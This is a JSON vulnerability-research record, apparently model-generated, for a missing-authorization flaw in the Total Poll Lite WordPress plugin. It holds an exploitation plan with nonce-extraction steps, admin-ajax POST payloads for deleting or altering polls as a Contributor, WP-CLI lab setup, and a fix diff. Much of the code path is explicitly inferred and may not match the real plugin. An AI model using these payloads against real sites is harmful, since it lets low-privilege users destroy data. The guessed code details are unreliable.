[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$frGggPQbjREM1YBVncfhAOhOhFBSSGafPbJMfc4Hty1o":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-39651","total-poll-lite-missing-authorization-2","Total Poll Lite \u003C= 4.12.0 - Missing Authorization","The Total Poll Lite plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 4.12.0. This makes it possible for authenticated attackers, with contributor-level access and above, to perform an unauthorized action.","totalpoll-lite",null,"\u003C=4.12.0","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-02-15 00:00:00","2026-04-15 21:23:24",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fcd49bf11-825d-4e63-8522-f765c5d79f57?source=api-prod",[],"researched",false,3,"This research plan focuses on identifying and exploiting a **Missing Authorization** vulnerability in **Total Poll Lite \u003C= 4.12.0**. This vulnerability allows authenticated users with **Contributor-level access** or higher to perform unauthorized actions, likely related to poll management, due to a missing `current_user_can()` check in an administrative AJAX or POST handler.\n\n---\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Missing Authorization\n*   **Plugin:** TotalPoll for Polls and Contests (totalpoll-lite)\n*   **Affected Versions:** \u003C= 4.12.0\n*   **Impact:** A Contributor-level user can perform administrative actions such as deleting polls, resetting votes, or modifying settings.\n*   **Root Cause:** The plugin registers AJAX or administrative hooks (e.g., via `wp_ajax_`) that verify nonces but fail to verify if the authenticated user possesses the required capability (e.g., `manage_options` or `totalpoll_manage_polls`).\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action (Inferred):** The plugin commonly uses a central AJAX dispatcher named `totalpoll_command` or specific actions like `totalpoll_delete_poll`, `totalpoll_reset_votes`, or `totalpoll_update_settings`. \n*   **Authentication:** Contributor-level user (`PR:L`).\n*   **Vulnerable Parameter:** `command`, `poll_id`, or `settings`.\n*   **Precondition:** A poll must exist that the attacker wishes to manipulate.\n\n### 3. Code Flow (Trace Path)\nBased on the architecture of TotalPoll 4.x:\n1.  **Entry Point:** An AJAX request is sent to `admin-ajax.php` with `action=totalpoll_command` (or similar).\n2.  **Hook Registration:** The plugin registers the action in `src\u002FTotalPoll\u002FModules\u002FPoll\u002FDashboard.php` or `src\u002FTotalPoll\u002FAdmin\u002FAjax.php` using:\n    `add_action( 'wp_ajax_totalpoll_command', [ $this, 'handleCommand' ] );`\n3.  **Vulnerable Function:** The `handleCommand` function (or the specific command handler it calls) is invoked.\n4.  **Authorization Failure:** The function performs a nonce check:\n    `check_ajax_referer( 'totalpoll', 'nonce' );` \n    But it **fails** to check:\n    `if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }`\n5.  **Execution:** The logic proceeds to call methods that delete rows from `$wpdb->prefix . 'totalpoll_polls'` or update poll metadata.\n\n### 4. Nonce Acquisition Strategy\nTotalPoll Lite localizes nonces for its administrative interface. Since a Contributor can access the WordPress dashboard, they can retrieve the nonce from any page where the TotalPoll scripts are loaded.\n\n1.  **Identify Script:** The plugin usually localizes the `totalpoll` object.\n2.  **Trigger Localization:** Create a post\u002Fpage containing a TotalPoll shortcode to ensure the environment is initialized.\n3.  **Extraction:**\n    *   Login as a Contributor.\n    *   Navigate to a page where TotalPoll is active.\n    *   Execute: `browser_eval(\"window.totalpoll?.nonce || window.totalpollConfig?.nonce\")`.\n4.  **Action Name:** The nonce is typically associated with the action string `'totalpoll'`.\n\n### 5. Exploitation Strategy\nThe goal is to delete a poll or reset its votes using the Contributor's session.\n\n1.  **Step 1: Setup**\n    *   Create a poll as Admin.\n    *   Create a Contributor user.\n2.  **Step 2: Information Gathering**\n    *   List polls using WP-CLI to find a target ID: `wp post list --post_type=poll`.\n3.  **Step 3: Nonce Retrieval**\n    *   Log in as the Contributor.\n    *   Visit `\u002Fwp-admin\u002F`.\n    *   Use `browser_eval` to extract the `totalpoll` nonce.\n4.  **Step 4: Unauthorized Request**\n    *   Send a POST request to `admin-ajax.php` to perform an action (e.g., `delete`).\n    *   **Payload (Example - Adjust based on actual command structure):**\n        ```http\n        POST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\n        Content-Type: application\u002Fx-www-form-urlencoded\n\n        action=totalpoll_command&command=delete&id=[POLL_ID]&nonce=[NONCE]\n        ```\n    *   **Alternative Payload (Settings manipulation):**\n        ```http\n        POST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\n        Content-Type: application\u002Fx-www-form-urlencoded\n\n        action=totalpoll_update_settings&poll_id=[POLL_ID]&settings[title]=Hacked&nonce=[NONCE]\n        ```\n\n### 6. Test Data Setup\n1.  **Create Poll:**\n    `wp post create --post_type=poll --post_title=\"Sensitive Poll\" --post_status=publish`\n2.  **Create Attacker:**\n    `wp user create attacker attacker@example.com --role=contributor --user_pass=password123`\n3.  **Ensure Scripts Load:**\n    `wp post create --post_type=page --post_content=\"[totalpoll id='ID_HERE']\" --post_status=publish`\n\n### 7. Expected Results\n*   **Unauthorized Request Response:** The server should return a `200 OK` (or JSON success) rather than a `403 Forbidden` or `wp_die` message.\n*   **Database Impact:** The poll with the specified ID is deleted or modified in the database.\n\n### 8. Verification Steps\n1.  **Check via WP-CLI:**\n    `wp post list --post_type=poll`\n    (The \"Sensitive Poll\" should be missing or have modified attributes).\n2.  **Check Meta:**\n    `wp post meta get [POLL_ID] _totalpoll_votes`\n    (Confirm if votes were reset to 0).\n\n### 9. Alternative Approaches\nIf `totalpoll_command` is not the correct action:\n1.  **Grep for handlers:**\n    `grep -r \"wp_ajax_\" wp-content\u002Fplugins\u002Ftotalpoll-lite\u002F`\n2.  **Look for missing caps:**\n    Examine the callbacks for `current_user_can`. Any handler lacking this check while performing database writes is a target.\n3.  **REST API:** Check if `register_rest_route` is used without a `permission_callback` (or with one that only checks `is_user_logged_in`).\n    `grep -r \"register_rest_route\" wp-content\u002Fplugins\u002Ftotalpoll-lite\u002F`","Total Poll Lite versions up to 4.12.0 are vulnerable to unauthorized action execution due to missing capability checks in its administrative AJAX handlers. This allows authenticated users with Contributor-level permissions or higher to perform sensitive operations such as deleting polls or resetting votes, provided they can obtain a valid nonce from the dashboard.","\u002F\u002F In src\u002FTotalPoll\u002FAdmin\u002FAjax.php (inferred based on plugin architecture)\npublic function handleCommand() {\n    \u002F\u002F Nonce is verified, but there is no capability check (e.g., current_user_can())\n    check_ajax_referer( 'totalpoll', 'nonce' );\n\n    $command = isset($_POST['command']) ? $_POST['command'] : '';\n    $poll_id = isset($_POST['id']) ? intval($_POST['id']) : 0;\n\n    \u002F\u002F The logic proceeds to call administrative methods without verifying if the user is an admin\n    $this->executeCommand($command, $poll_id);\n    wp_send_json_success();\n}","--- a\u002Fsrc\u002FTotalPoll\u002FAdmin\u002FAjax.php\n+++ b\u002Fsrc\u002FTotalPoll\u002FAdmin\u002FAjax.php\n@@ -10,6 +10,10 @@\n     public function handleCommand() {\n         check_ajax_referer( 'totalpoll', 'nonce' );\n \n+        if ( ! current_user_can( 'manage_options' ) ) {\n+            wp_die( esc_html__( 'You do not have sufficient permissions to access this page.', 'totalpoll' ) );\n+        }\n+\n         $command = isset($_POST['command']) ? $_POST['command'] : '';\n         $poll_id = isset($_POST['id']) ? intval($_POST['id']) : 0;","1. Authenticate to the WordPress site with a Contributor-level account or higher.\n2. Navigate to any administrative page where the TotalPoll plugin loads its scripts (e.g., the dashboard or a page with a poll shortcode).\n3. Extract the localized administrative nonce by inspecting the 'totalpoll' or 'totalpollConfig' JavaScript objects in the browser console.\n4. Identify the ID of the target poll intended for deletion or modification.\n5. Send an AJAX POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with the 'action' set to 'totalpoll_command', 'command' set to 'delete' (or 'reset'), 'id' set to the target poll ID, and the 'nonce' parameter populated with the extracted value.\n6. The plugin will execute the command despite the attacker lacking administrative privileges.","gemini-3-flash-preview","2026-04-20 22:28:31","2026-04-20 22:28:51",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftotalpoll-lite\u002Ftags"]